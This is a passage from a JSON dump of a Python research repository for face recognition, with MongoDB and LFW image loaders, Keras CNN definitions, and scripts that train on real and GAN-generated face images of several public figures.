int(args.port)\n\t\tlogging.info(\"Port specified, using {}\".format(port))\n\n\tmc = MongoClient(hostname, port)\n\tlogging.info(\"Loading .mat file to memory\")\n\tmatfile = sio.loadmat(path, struct_as_record=False, squeeze_me=True)\n\tlogging.info(\".mat file loaded to memory\")\n\n\tdb = mc['dlm']\n\tcollection = db[md5hash]\n\n\tif collection.count() != 0:\n\t\tlogging.info(\"Collection {} not empty\".format(md5hash))\n\t\tif args.force:\n\t\t\tlogging.info(\"Force parameter set, dropping collection and repopulating\")\n\t\t\tcollection.drop()\n\t\telse:\n\t\t\tsys.exit(\"Collection already exists (use --force or -f ] to overwrite)\")\n\telse:\n\t\tlogging.info(\"Collection {} empty. continuing...\".format(md5hash))\n\timdb = matfile['imdb']\n\n\tposts = []\n\t\n\tfor i in range(len(getattr(imdb, 'full_path'))):\n\t\tpost = {'_id':i}\n\t\tfor field in [x for x in imdb._fieldnames if x != 'celeb_names']: # Loop through every field name except celeb_names\n\t\t\t\n\t\t\t# Prepend folders to path, just for clarification in db\n\t\t\tfval = getattr(imdb, field)[i]\n\t\t\tif field == 'full_path':\n\t\t\t\tfval = os.path.join(newpath, fval).replace('\\\\','/')\n\n\t\t\tif isinstance(fval, np.ndarray):\n\t\t\t\ttmp_list = list(fval)\n\t\t\t\tfor lindex,litem in enumerate(tmp_list):\n\t\t\t\t\ttmp_list[lindex] = litem.item()\n\t\t\t\tpost[field] = tmp_list\n\n\t\t\telif isinstance(fval, np.generic):\n\t\t\t\tpost[field] = fval.item()\n\t\t\telse:\n\t\t\t\tpost[field] = fval\n\t\tposts.append(post)\n\n\tif not args.dry_run:\n\t\tlogging.info(\"Inserting documents in database\")\t\t\t\n\t\tcollection.insert_many(posts)\t\n\t\tlogging.info(\"{} documents inserted\".format(len(posts)))\n\telse:\n\t\tlogging.info(\"--dry_run is set, no action will be performed on database\")\n\n"
},
{
"alpha_fraction": 0.6433079242706299,
"alphanum_fraction": 0.6585419178009033,
"avg_line_length": 32.54887390136719,
"blob_id": "b262d77e70ef79f09b86c0bbb6dc229d6131d39f",
"content_id": "2886a9e1fc9c43a8e2ebddb8237dc376e461ee37",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4595,
"license_type": "no_license",
"max_line_length": 155,
"num_lines": 133,
"path": "/utilities/data_handler.py",
"repo_name": "vikashvverma/dlm",
"src_encoding": "UTF-8",
"text": "from pymongo import MongoClient\r\nimport argparse\r\nimport cv2\r\nimport logging\r\nimport numpy as np\r\nimport os\r\nimport sys\r\nimport time\r\n\r\nif __name__ == '__main__':\r\n\tparser = argparse.ArgumentParser(description=\"Load data for use in artificial neural networks\")\r\n\tparser.add_argument(\"-c\",\"--collection\", help=\"MongoDb collection\")\r\n\tparser.add_argument(\"-v\", \"--verbosity\", action=\"count\", help=\"Increase output verbosity (Can be specified multiple times for more verbosity)\", default=0)\r\n\tparser.add_argument(\"-d\", \"--dry-run\", action=\"store_true\", help=\"Dry run, wont modify any files\")\r\n\tparser.add_argument(\"-i\", \"--hostname\", help=\"MongoDB Hostname\")\r\n\tparser.add_argument(\"-p\", \"--port\", help=\"MongoDB Password\")\r\n\targs = parser.parse_args()\r\n\tloglevel = logging.ERROR\r\n\tif args.verbosity == 1:\r\n\t\tloglevel = logging.WARNING\r\n\telif args.verbosity == 2:\r\n\t\tloglevel = logging.INFO\r\n\telif args.verbosity == 3:\r\n\t\tloglevel = logging.DEBUG\r\n\r\n\tlogging.basicConfig(format='%(levelname)s:%(message)s', level=loglevel)\r\n\r\n\tif not args.hostname:\r\n\t\thostname = 'localhost'\r\n\t\tlogging.info(\"No hostname specified, using default of {}\".format(hostname))\r\n\telse:\r\n\t\thostname = args.hostname\r\n\t\tlogging.info(\"Hostname specified, using {}\".format(hostname))\r\n\r\n\tif not args.port:\r\n\t\tport = 27017\r\n\t\tlogging.info(\"No port specified, using default of {}\".format(port))\r\n\telse:\r\n\t\tport = int(args.port)\r\n\t\tlogging.info(\"Port specified, using {}\".format(port))\r\n\r\ndef get_imdb_data(collection, hostname='localhost', port=27017, people_limit=-1):\r\n\tlogging.info(\"Beginning process of loading {} to memory\".format(collection))\r\n\tmc = MongoClient(hostname, port)\r\n\tdb = mc['dlm']\r\n\tcollection = db[collection]\r\n\r\n\tx_data = []\r\n\ty_data = []\r\n\r\n\tif people_limit > 0:\r\n\t\tlogging.info(\"People limit is set to {}\".format(people_limit))\r\n\t\t# Get people in order of number of entries\r\n\t\tpeople = {}\r\n\t\tcursor = collection.find()\r\n\t\tfor r in cursor:\r\n\t\t\tpeople[r['name']] = people.get(r['name'], 0) + 1\r\n\t\tsorted_people = [(k, people[k]) for k in sorted(people, key=people.get, reverse=True)]\r\n\t\tselected_people = []\r\n\t\tfor i,(k,v) in enumerate(sorted_people):\r\n\t\t\tif i >= people_limit:\r\n\t\t\t\tbreak\r\n\t\t\tselected_people.append((k,v))\r\n\r\n\t\tlogging.info(\"Loading {} pictures into memory\".format(sum([v for k,v in selected_people])))\r\n\t\tfor people_index,(k,_) in enumerate(selected_people):\r\n\t\t\tcur = collection.find({'name':k})\r\n\r\n\t\t\tlogging.debug(\"Loading pictures of {} ({}/{})\".format(k, people_index+1, len(selected_people)))\r\n\t\t\tfor r in cur:\r\n\t\t\t\tx_data.append(cv2.imread(r['full_path']))\r\n\t\t\t\ty_data.append(r['name'])\r\n\r\n\telse: # If people_limit is not specified, get all\r\n\t\tlogging.info(\"No people limit is set, expect lots of memory consumed\")\r\n\t\tcursor = collection.find()\r\n\t\tlogging.info(\"Loading {} pictures into memory\".format(cursor.count()))\r\n\t\tfor r in cursor:\r\n\t\t\tx_data.append(cv2.imread(r['full_path']))\r\n\t\t\ty_data.append(r['name'])\r\n\r\n\treturn np.array(x_data, dtype=np.uint8), np.array(y_data, dtype=np.str)\r\n\r\n\r\ndef get_data(path='data/lfw/lfw/', people_limit=-1, resize=(-1,-1), min_examples=0):\r\n\tx_data,y_data = [],[]\r\n\tfor i,(subdir, dirs, files) in enumerate(os.walk(path)):\r\n\t\tperson_name = ' '.join(os.path.basename(subdir).split('_'))\r\n\t\tif i >= people_limit and people_limit != -1:\r\n\t\t\tbreak\r\n\t\tfor f in files:\r\n\t\t\tif len(files) < min_examples: # Skip classes that contains less images than min_examples\r\n\t\t\t\tbreak\r\n\t\t\timg = cv2.imread('{}/{}'.format(subdir, f))\r\n\t\t\ttry:\r\n\t\t\t\tif resize != (-1,-1):\r\n\t\t\t\t\timg = cv2.resize(img, resize)\r\n\t\t\texcept:\r\n\t\t\t\tcontinue\r\n\t\t\tx_data.append(img)\r\n\t\t\ty_data.append(person_name)\r\n\treturn np.array(x_data, dtype=np.float64), np.array(y_data, dtype=np.str)\r\n\r\ndef get_classless_images(path='data/imdb-wiki/handpicked_restructured/Jennifer_Aniston/', resize=(-1,-1)):\r\n\timages = []\r\n\tfor f in os.listdir(path):\r\n\t\timg = cv2.imread('{}/{}'.format(path, f))\r\n\t\tif resize != (-1,-1):\r\n\t\t\timg = cv2.resize(img, resize)\r\n\t\timages.append(img)\r\n\treturn images\r\n\r\ndef equal_shuffle(*data):\r\n\t# Get rng state\r\n\toriginal_rng_state = np.random.get_state()\r\n\tfor d in data:\r\n\t\tnp.random.set_state(original_rng_state)\r\n\t\tnp.random.shuffle(d)\r\n\treturn data\r\n\r\ndef split_data(*data, ratio=0.8):\r\n\tl = []\r\n\tfor dset in data:\r\n\t\tm = int(len(dset)*ratio)\r\n\t\tl.append((dset[:m], dset[m:]))\r\n\treturn l\r\n\r\nif __name__ == '__main__':\r\n\tS = time.time()\r\n\t#x,y = get_imdb(collection=\"56f492c9fba69dbd2439b7975e9e279e_cropped\", people_limit=100)\r\n\tx,y = get_lfw_data(resize=(64,64))\r\n\timport pdb;pdb.set_trace()\r\n\tprint(\"Loaded to memory after {:.2f} seconds\".format(time.time()-S))\r\n"
},
{
"alpha_fraction": 0.6092592477798462,
"alphanum_fraction": 0.6419752836227417,
"avg_line_length": 30.399999618530273,
"blob_id": "648d7cb672eaf366c97cd8763465af44a26de397",
"content_id": "fe866953956a60b7ca7729c69022d9945c4ee147",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1620,
"license_type": "no_license",
"max_line_length": 119,
"num_lines": 50,
"path": "/networks/model.py",
"repo_name": "vikashvverma/dlm",
"src_encoding": "UTF-8",
"text": "import numpy as np\r\nfrom keras import backend as K\r\nfrom keras.layers import Convolution2D, MaxPooling2D\r\nfrom keras.layers import Dense, Dropout, Activation, Flatten\r\nfrom keras.models import Sequential\r\nfrom keras.utils import np_utils\r\n\r\n\r\ndef get_2d_cnn(p):\r\n\tmodel = Sequential()\r\n\tmodel.add(Convolution2D(p['nb_filters'][0], \r\n\t\tp['kernel_size'][0][0], p['kernel_size'][0][1],\r\n\t\tborder_mode=p['border_mode'][0],\r\n\t\tinput_shape=p['input_shape'],\r\n\t\tsubsample=p['stride'][0]\r\n\t\t))\r\n\r\n\tmodel.add(Activation(p['activation'][0]))\r\n\tmodel.add(Convolution2D(p['nb_filters'][1], p['kernel_size'][1][0], p['kernel_size'][1][1], subsample=p['stride'][1]))\r\n\tmodel.add(Activation(p['activation'][1]))\r\n\tmodel.add(MaxPooling2D(pool_size=p['pool_size'][0]))\r\n\tmodel.add(Dropout(p['dropout'][0]))\r\n\r\n\tmodel.add(Flatten())\r\n\tmodel.add(Dense(p['dense'][0]))\r\n\tmodel.add(Activation(p['activation'][2]))\r\n\tmodel.add(Dropout(p['dropout'][1]))\r\n\tmodel.add(Dense(p['nb_classes']))\r\n\tmodel.add(Activation(p['activation'][3]))\r\n\r\n\tmodel.compile(loss='categorical_crossentropy', optimizer='adadelta', metrics=['accuracy'])\r\n\r\n\treturn model\r\n\r\ndef get_model(nn_type, parameters=None):\r\n\tif parameters == None:\r\n\t\tparameters = {\r\n\t\t\t'nb_filters':[32, 32],\r\n\t\t\t'kernel_size':[(3,3), (3,3)],\r\n\t\t\t'border_mode':['valid', 'valid'],\r\n\t\t\t'activation':['relu', 'relu', 'relu', 'softmax'],\r\n\t\t\t'pool_size':[(2,2)],\r\n\t\t\t'dropout':[.2, .35],\r\n\t\t\t'dense':[128],\r\n\t\t\t'input_shape':(150,150, 3),\r\n\t\t\t'nb_classes':2 # Number of outputs possible, in our case, number of people in dataset\r\n\t\t}\r\n\r\n\tif nn_type == '2dcnn':\r\n\t\treturn get_2d_cnn(parameters)\r\n"
},
{
"alpha_fraction": 0.6574963331222534,
"alphanum_fraction": 0.6780834794044495,
"avg_line_length": 35.83916091918945,
"blob_id": "d562707b07ed486437e0f36afb4e28159b107221",
"content_id": "1b823b90a27acff0eec7260681e745298fe22e78",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 10832,
"license_type": "no_license",
"max_line_length": 210,
"num_lines": 286,
"path": "/run.py",
"repo_name": "vikashvverma/dlm",
"src_encoding": "UTF-8",
"text": "from keras.layers import Convolution2D, MaxPooling2D\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nfrom keras.layers import Dense, Dropout, Activation, Flatten\r\nfrom keras.models import Sequential\r\nfrom keras.callbacks import CSVLogger\r\nfrom keras.utils import np_utils\r\nfrom utilities.data_handler import get_imdb_data, split_data, get_data, equal_shuffle\r\nfrom collections import OrderedDict, defaultdict\r\nfrom tqdm import tqdm, trange\r\nimport argparse\r\nimport logging\r\nimport numpy as np\r\nimport cv2\r\nimport pickle\r\nimport os\r\nimport time\r\nimport json\r\nimport sys\r\n\r\nnp.random.seed(1337)\r\n\r\nif __name__ == '__main__':\r\n\tparser = argparse.ArgumentParser(description=\"Run neural networks\")\r\n\tparser.add_argument(\"-v\", \"--verbosity\", action=\"count\", help=\"Increase output verbosity (Can be specified multiple times for more verbosity)\", default=0)\r\n\t#parser.add_argument(\"-d\", \"--dry-run\", action=\"store_true\", help=\"Dry run, wont modify any files\")\r\n\tparser.add_argument(\"-s\", \"--save-data\", action=\"store_true\", help=\"Save data as pickle to model folder\")\r\n\tparser.add_argument(\"-i\", \"--hostname\", help=\"MongoDB Hostname\")\r\n\tparser.add_argument(\"-p\", \"--port\", help=\"MongoDB Port\")\r\n\tparser.add_argument(\"-r\", \"--reload-data\", action=\"store_true\", help=\"Reload data even if pickle file exists\")\r\n\tparser.add_argument(\"-n\", \"--include-ng-classes\", action=\"store_true\", help=\"Include classes that have no generated images\")\r\n\tparser.add_argument(\"-g\", \"--gan-path\", help=\"Path to GAN generated images\")\r\n\targs = parser.parse_args()\r\n\tloglevel = logging.ERROR\r\n\tif args.verbosity == 1:\r\n\t\tloglevel = logging.WARNING\r\n\telif args.verbosity == 2:\r\n\t\tloglevel = logging.INFO\r\n\telif args.verbosity == 3:\r\n\t\tloglevel = logging.DEBUG\r\n\r\n\tlogging.basicConfig(format='%(levelname)s:%(message)s', level=loglevel)\r\n\r\n\tif not args.hostname:\r\n\t\thostname = 'localhost'\r\n\t\tlogging.info(\"No hostname specified, using default of {}\".format(hostname))\r\n\telse:\r\n\t\thostname = args.hostname\r\n\t\tlogging.info(\"Hostname specified, using {}\".format(hostname))\r\n\r\n\tif not args.port:\r\n\t\tport = 27017\t\r\n\t\tlogging.info(\"No port specified, using default of {}\".format(port))\r\n\telse:\r\n\t\tport = int(args.port)\r\n\t\tlogging.info(\"Port specified, using {}\".format(port))\r\n\r\n\tdef show_image(index):\r\n\t\tcv2.imshow(y[index], x[index])\r\n\t\tcv2.waitKey(0)\r\n\t\tcv2.destroyAllWindows()\r\n\r\n\r\n\t# Load LFW data\r\n\tlogging.info(\"Loading training data...\")\r\n\tx_train,c_train = get_data(path='data/lfw/lfw_split_cropped/train/',resize=(64,64))\r\n\tlogging.info(\"Loading testing data...\")\r\n\tx_test,c_test = get_data(path='data/lfw/lfw_split_cropped/test/',resize=(64,64))\r\n\r\n\tif args.gan_path:\r\n\t\tGAN_PATH = args.gan_path\r\n\telse:\r\n\t\tGAN_PATH = \"data/lfw/lfw_split_cropped/gangen/\"\t\r\n\r\n\tgan_classes = os.listdir(GAN_PATH)\r\n\tgan_classes = [\" \".join(c.split('_')) for c in gan_classes]\r\n\t\r\n\tuniques, ids = np.unique(c_train, return_inverse=True)\r\n\r\n\ttrain_uniques, train_ids = np.unique(c_train, return_inverse=True)\r\n\ty_train = np_utils.to_categorical(train_ids, len(train_uniques))\r\n\r\n\ttest_uniques, test_ids = np.unique(c_test, return_inverse=True)\r\n\ty_test = np_utils.to_categorical(test_ids, len(test_uniques))\r\n\r\n\t#uniques, ids = np.unique(c_gen, return_inverse=True)\r\n\t#y_gen = np_utils.to_categorical(ids, len(uniques))\r\n\tequal_shuffle(x_train, y_train)\r\n\r\n\tdef get_classname(idx):\r\n\t\treturn uniques[idx]\r\n\r\n\tdef get_classvector(classname):\r\n\t\tidx = get_classidx(classname)\r\n\t\tvec = np.zeros(len(uniques))\r\n\t\tvec[idx] = 1\r\n\t\treturn vec\r\n\r\n\tdef get_classidx(classname):\r\n\t\tclassname = \" \".join(classname.split('_'))\r\n\t\treturn np.where(classname==uniques)[0][0]\r\n\r\n\tdef get_classname_from_vector(vec):\r\n\t\tidx = np.argmax(vec)\r\n\t\treturn get_classname(idx)\r\n\r\n\tdef ganbatch_generator(batch_size=32, mix_real_data=False, classes=[], path='data/lfw/lfw_split_cropped/gangen/'):\r\n\t\t# Generator functions that returns ([images],[classes])\r\n\t\tif len(classes) == 0:\r\n\t\t\tclasses = os.listdir(path)\r\n\r\n\t\tclasses = [\"_\".join(x.split()) for x in classes]\r\n\r\n\t\tfiles_by_class = defaultdict(list)\r\n\t\timage_paths = []\r\n\t\tlogging.info(\"Initializing generator for {} classes from {}\".format(len(classes), path))\r\n\t\tfor selected_class in classes:\r\n\t\t\tclass_dir = os.path.join(path, selected_class)\r\n\t\t\tfor imgpath in os.listdir(class_dir):\r\n\t\t\t\timage_paths.append((os.path.join(class_dir,imgpath),selected_class))\r\n\t\t\r\n\t\tnp.random.shuffle(image_paths)\r\n\t\twhile True:\t\r\n\t\t\tbatch_idx = 0\r\n\t\t\teffective_batch_size = batch_size / 2\r\n\t\t\tbatch_x, batch_y = [],[]\r\n\t\t\tfor imgidx, (imgpath, imgclass) in enumerate(image_paths):\r\n\t\t\t\tif len(batch_x) % batch_size == 0:\r\n\t\t\t\t\tif imgidx != 0:\r\n\t\t\t\t\t\tbatch_idx += 1\r\n\t\t\t\t\t\tyield (np.array(batch_x), np.array(batch_y))\r\n\r\n\t\t\t\t\tbatch_x = []\r\n\t\t\t\t\tbatch_y = []\r\n\t\t\t\t\tif mix_real_data:\r\n\t\t\t\t\t\tbatch_x.extend(x_train[int(batch_idx*effective_batch_size):int((batch_idx+1)*effective_batch_size)])\r\n\t\t\t\t\t\tbatch_y.extend(y_train[int(batch_idx*effective_batch_size):int((batch_idx+1)*effective_batch_size)])\r\n\r\n\t\t\t\timg = cv2.imread(imgpath)\r\n\t\t\t\tclass_vector_idx = np.where(uniques==\" \".join(imgclass.split('_')))[0][0]\r\n\t\t\t\tclass_vector = np.zeros(len(uniques))\r\n\t\t\t\tclass_vector[class_vector_idx] = 1\r\n\r\n\t\t\t\tbatch_x.append(img)\r\n\t\t\t\tbatch_y.append(class_vector)\r\n\r\n\tdef filter_data(dataset_x, dataset_y, selected_classes=[]):\r\n\t\tnewset = ([],[])\r\n\t\tif len(selected_classes) == 0:\r\n\t\t\treturn (dataset_x, dataset_y)\r\n\t\telse:\r\n\t\t\tfor x,y in zip(dataset_x, dataset_y):\r\n\t\t\t\tif \"_\".join(get_classname_from_vector(y).split()) in selected_classes:\r\n\t\t\t\t\tnewset[0].append(x)\r\n\t\t\t\t\tnewset[1].append(y)\r\n\r\n\t\treturn np.array(newset[0]),np.array(newset[1])\r\n\t\"\"\"\r\n\t35 - Gloria_Macapagal_Arroyo\r\n\t35 - Luiz_Inacio_Lula_da_Silva\r\n\t36 - Jacques_Chirac\r\n\t36 - Serena_Williams\r\n\t37 - John_Ashcroft\r\n\t37 - Vladimir_Putin\r\n\t41 - Jean_Chretien\r\n\t46 - Junichiro_Koizumi\r\n\t52 - Hugo_Chavez\r\n\t55 - Ariel_Sharon\r\n\t84 - Gerhard_Schroeder\r\n\t92 - Donald_Rumsfeld\r\n\t108 - Tony_Blair\r\n\t177 - Colin_Powell\r\n\t397 - George_W_Bush\r\n\t\"\"\"\t\r\n\tclass_selection = [\"George_W_Bush\", \"Colin_Powell\", \"Tony_Blair\"] #[\"_\".join(x.split()) for x in gan_classes]\r\n\tx_train, y_train = filter_data(x_train,y_train, selected_classes=class_selection)\r\n\tx_test, y_test = filter_data(x_test,y_test, selected_classes=class_selection)\r\n\r\n\t# Define some variables for easier use\r\n\tinput_shape = x_train.shape[1:]\r\n\tclasses = (set(c_train)|set(c_test)|set(gan_classes))\r\n\tnb_classes = len(classes)\r\n\tlogging.info(\"Building model\")\r\n\t\r\n\t\"\"\"\r\n\tMODEL HERE\r\n\t\"\"\"\r\n\r\n\tmodel = Sequential()\r\n\tmodel.add(Convolution2D(nb_filter=32, nb_row=3, nb_col=3, border_mode='same',input_shape=input_shape,subsample=(1,1)))\r\n\tmodel.add(Activation('relu'))\r\n\tmodel.add(Convolution2D(nb_filter=32, nb_row=3, nb_col=3, subsample=(1,1), border_mode='same'))\r\n\tmodel.add(Activation('relu'))\r\n\tmodel.add(Convolution2D(nb_filter=32, nb_row=3, nb_col=3, subsample=(1,1), border_mode='same'))\r\n\tmodel.add(Activation('relu'))\r\n\r\n\tmodel.add(Dropout(0.2))\r\n\tmodel.add(MaxPooling2D(pool_size=(2,2)))\r\n\r\n\tmodel.add(Convolution2D(nb_filter=64, nb_row=3, nb_col=3, subsample=(1,1), border_mode='same'))\r\n\tmodel.add(Activation('relu'))\r\n\tmodel.add(Convolution2D(nb_filter=64, nb_row=3, nb_col=3, subsample=(1,1), border_mode='same'))\r\n\tmodel.add(Activation('relu'))\r\n\tmodel.add(Convolution2D(nb_filter=64, nb_row=3, nb_col=3, subsample=(1,1), border_mode='same'))\r\n\tmodel.add(Activation('relu'))\r\n\r\n\tmodel.add(Dropout(0.2))\r\n\tmodel.add(MaxPooling2D(pool_size=(2,2)))\r\n\r\n\tmodel.add(Convolution2D(nb_filter=128, nb_row=3, nb_col=3, subsample=(1,1), border_mode='same'))\r\n\tmodel.add(Activation('relu'))\r\n\tmodel.add(Convolution2D(nb_filter=128, nb_row=3, nb_col=3, subsample=(1,1), border_mode='same'))\r\n\tmodel.add(Activation('relu'))\r\n\tmodel.add(Convolution2D(nb_filter=128, nb_row=3, nb_col=3, subsample=(1,1), border_mode='same'))\r\n\tmodel.add(Activation('relu'))\r\n\r\n\tmodel.add(Dropout(0.2))\r\n\tmodel.add(MaxPooling2D(pool_size=(2,2)))\r\n\r\n\tmodel.add(Flatten())\r\n\tmodel.add(Dense(256))\r\n\tmodel.add(Activation('relu'))\r\n\tmodel.add(Dropout(0.2))\r\n\r\n\tmodel.add(Dense(128))\r\n\tmodel.add(Activation('relu'))\r\n\tmodel.add(Dropout(0.15))\r\n\r\n\tmodel.add(Dense(nb_classes))\r\n\tmodel.add(Activation('softmax'))\r\n\t\r\n\tmodel.compile(loss='categorical_crossentropy', optimizer='adadelta', metrics=['accuracy'])\r\n\r\n\tdate_str = time.strftime(\"%d-%m-%Y_%H-%M-%S\")\r\n\t#name_str = \"{}-acc:{:.2f}-loss:{:.4f}\".format(date_str, score[1], score[0])\r\n\tname_str = \"{}\".format(date_str)\r\n\tmodel_folder = \"data/models/{}\".format(name_str)\r\n\tlogging.info(\"Creating model folder {}\".format(model_folder))\r\n\tos.makedirs(model_folder, exist_ok=True)\r\n\r\n\tcsv_logger_normal = CSVLogger('{}/training_normal.log'.format(model_folder))\r\n\tcsv_logger_gan = CSVLogger('{}/training_gan.log'.format(model_folder))\r\n\tcsv_logger_dataaug = CSVLogger('{}/training_dataaug.log'.format(model_folder))\r\n\r\n\r\n\tdatagen = ImageDataGenerator(\r\n\t\tfeaturewise_center=False,\r\n\t\tfeaturewise_std_normalization=False,\r\n\t\trotation_range=20,\r\n\t\twidth_shift_range=0.1,\r\n\t\theight_shift_range=0.1,\r\n\t\thorizontal_flip=True,\r\n\t\tchannel_shift_range=0.1\r\n\t)\r\n\tdatagen.fit(x_train)\r\n\r\n\tplot_results = {}\t\r\n\t#model.fit(x_train, y_train, batch_size=32, nb_epoch=200,verbose=1, validation_data=(x_test, y_test), callbacks=[csv_logger_normal]) # Normal images, no generation\r\n\t#model.fit_generator(datagen.flow(x_train, y_train, batch_size=32), samples_per_epoch=49984, nb_epoch=200, validation_data=(x_test, y_test), callbacks=[csv_logger_dataaug]) # Data augmentation on normal images\r\n\tmodel.fit_generator(ganbatch_generator(batch_size=32, classes=class_selection, path=GAN_PATH), samples_per_epoch=50000, nb_epoch=200, validation_data=(x_test, y_test), callbacks=[csv_logger_gan]) # GAN aug\r\n\tscore = model.evaluate(x_test, y_test, verbose=0)\r\n\tprint('Test score:', score[0])\r\n\tprint('Test accuracy:', score[1])\r\n\r\n\t#date_str = time.strftime(\"%d-%m-%Y_%H-%M-%S\")\r\n\t#name_str = \"{}-acc:{:.2f}-loss:{:.4f}\".format(date_str, score[1], score[0])\r\n\t#model_folder = \"data/models/{}\".format(name_str)\r\n\t#logging.info(\"Creating model folder {}\".format(model_folder))\r\n\t#os.makedirs(model_folder, exist_ok=True)\r\n\r\n\tlogging.info(\"Saving model as {}/model.h5\".format(model_folder))\r\n\tmodel.save(\"{}/model.h5\".format(model_folder))\r\n\r\n\tlogging.info(\"Saving summary as txt\")\r\n\twith open('{}/summary.txt'.format(model_folder),'w') as sumfile:\r\n\t\tsys.stdout = sumfile\r\n\t\tprint(\"x_train.shape: {}\".format(x_train.shape))\r\n\t\tprint(\"y_train.shape: {}\".format(y_train.shape))\r\n\t\r\n\t\r\n\t\tmodel.summary()\r\n\t\tsys.stdout = sys.__stdout__\r\n\tif args.save_data:\r\n\t\tlogging.info(\"Saving data to pickle file because --save-data given\")\r\n\t\tpkl_data = {'x_train':x_train, 'x_test':x_test, 'y_train':y_train, 'y_test':y_test, 'uniques':uniques, 'ids':ids}\r\n\t\twith open('{}/data.pkl'.format(model_folder), 'wb') as pkl:\r\n\t\t\tpickle.dump(pkl_data, pkl)\r\n\r\n\r\n\r\n\r\n\r\n"
},
{
"alpha_fraction": 0.6959999799728394,
"alphanum_fraction": 0.6986666917800903,
"avg_line_length": 30.33333396911621,
"blob_id": "930db47e78355998d7ec4a30547d73a6de037a91",
"content_id": "bb5d80a6459e008aa810f8dc2cfdca3552b1a201",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 375,
"license_type": "no_license",
"max_line_length": 93,
"num_lines": 12,
"path": "/utilities/README.md",
"repo_name": "vikashvverma/dlm",
"src_encoding": "UTF-8",
"text": "# dlm-utilities #\n\n\nUtilities for DLM project, currently used to parse data before the neural networks take over.\n\n## Dependencies ##\n* [python 3.x](https://www.python.org/)\n* [scipy](https://www.scipy.org/)\n* [opencv](http://opencv.org/)\n* [mongodb](https://www.mongodb.com/)\n* [pytube](https://github.com/nficano/pytube)\n* [pymongo](https://api.mongodb.com/python/current/)"
},
{
"alpha_fraction": 0.7662337422370911,
"alphanum_fraction": 0.8181818127632141,
"avg_line_length": 8.625,
"blob_id": "a0add2ed8935a69c2b0ddcf28fba57e6e296df6a",
"content_id": "869624e2e2e24fa6145ce36653a280e468dd4012",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 77,
"license_type": "no_license",
"max_line_length": 14,
"num_lines": 8,
"path": "/requirements.txt",
"repo_name": "vikashvverma/dlm",
"src_encoding": "UTF-8",
"text": "h5py\npymongo\ntensorflow-gpu\nkeras==1.2.1\ntqdm\nnumpy\nopencv-python\nmatplotlib\n"
},
{
"alpha_fraction": 0.7193531394004822,
"alphanum_fraction": 0.7344809770584106,
"avg_line_length": 35.86538314819336,
"blob_id": "472e9eee96cd2c65df6c6b833080a2847f0f64ce",
"content_id": "a368144ea7fbdeffccf0c79dd56b1c0520d569e5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3834,
"license_type": "no_license",
"max_line_length": 189,
"num_lines": 104,
"path": "/utilities/gan/models_to_images.py",
"repo_name": "vikashvverma/dlm",
"src_encoding": "UTF-8",
"text": "from utilities.data_handler import get_imdb_data, split_data, get_data, get_classless_images, equal_shuffle\nfrom utilities.multi_gpu import make_parallel\nfrom utilities.csv_plot import plot_csv\nimport argparse\nimport logging\nimport math\nimport numpy as np\nimport cv2\nimport pickle\nimport os\nimport time\nimport sys\nfrom keras.utils import np_utils\nfrom tqdm import tqdm, trange\nimport numpy as np\nfrom collections import OrderedDict\nfrom keras.models import load_model\nimport random\nimport fnmatch\nimport shutil\n\n# Reproducibility \nnp.random.seed(2000)\nrandom.seed(2000)\n\n\nparser = argparse.ArgumentParser(description=\"Generate images with precreated keras models\")\nparser.add_argument(\"path\", help=\"Path to where hdf5 models are stored, in format generated by generate_images.py\") # TODO: change that filename\nparser.add_argument(\"outputpath\", help=\"Path to where classes should be output\")\nparser.add_argument(\"-v\", \"--verbosity\", action=\"count\", help=\"Increase output verbosity (Can be specified multiple times for more verbosity)\", default=0)\nparser.add_argument(\"-n\", \"--num-images\", help=\"Number of images to generate for each class\", type=int)\nparser.add_argument(\"-t\", \"--test-model\", action=\"store_true\", help=\"Test the discriminator model before loading the generator model, and skip it if the model only predicts a single value\")\n#parser.add_argument(\"-s\", \"--skipto\", help=\"Skip to the specified index (starting with 0)\", type=int)\nargs = parser.parse_args()\nloglevel = logging.ERROR\n\nif args.verbosity == 1:\n\tloglevel = logging.WARNING\nelif args.verbosity == 2:\n\tloglevel = logging.INFO\nelif args.verbosity == 3:\n\tloglevel = logging.DEBUG\n\nlogging.basicConfig(format='%(levelname)s:%(message)s', level=loglevel)\n\npath = args.path\noutpath = args.outputpath\n\nlogging.info(\"Loading original lfw data for testing purposes...\")\nx_train,y_train = get_data(path='data/lfw/lfw_split_cropped/train/', resize=(64,64))\nx_test,y_test = get_data(path='data/lfw/lfw_split_cropped/test/', resize=(64,64))\nlogging.info(\"Data loaded\")\nx_train /= 255\nx_test /= 255\n\nif not args.num_images:\n\tnum_images = 100\nelse:\n\tnum_images = args.num_images\n\ntry:\n\tlogging.info(\"Creating output path {}...\".format(outpath))\n\tos.makedirs(outpath)\nexcept FileExistsError as fee:\n\tlogging.warn(\"Path {} already exists...\".format(outpath))\n\n# Get available classfolders\nclass_folders = [walk_tuple[0] for walk_tuple in os.walk(path) if walk_tuple[0] != path]\nclass_names = [os.path.basename(x) for x in class_folders]\n\nfor idx,cf in enumerate(class_folders):\n\tmodel_path = fnmatch.filter(os.listdir(cf), \"*generator_model.h5\")\n\tdiscriminator_model_path = fnmatch.filter(os.listdir(cf), \"*discriminator_model.h5\")\n\tclassname = class_names[idx]\n\n\tif len(model_path) == 1:\n\t\tmodel_path = model_path[0]\n\t\tclass_outpath = os.path.join(outpath,classname)\n\t\tif os.path.exists(class_outpath):\n\t\t\tlogging.warn(\"{} already exists, deleting...\".format(class_outpath))\n\t\t\tshutil.rmtree(class_outpath)\n\t\tlogging.info(\"Creating output path: {}...\".format(class_outpath))\n\t\tos.makedirs(class_outpath)\n\n\n\t\tlogging.info(\"Loading model {}\".format(model_path))\n\t\tgenerator_model = load_model(os.path.join(cf,model_path))\n\t\t\n\t\tlogging.info(\"Generating {} images with {}...\".format(num_images, os.path.join(cf,model_path)))\n\t\timageidx = 0\n\t\tbatch_size = 50000\n\n\t\tfor batch_idx in 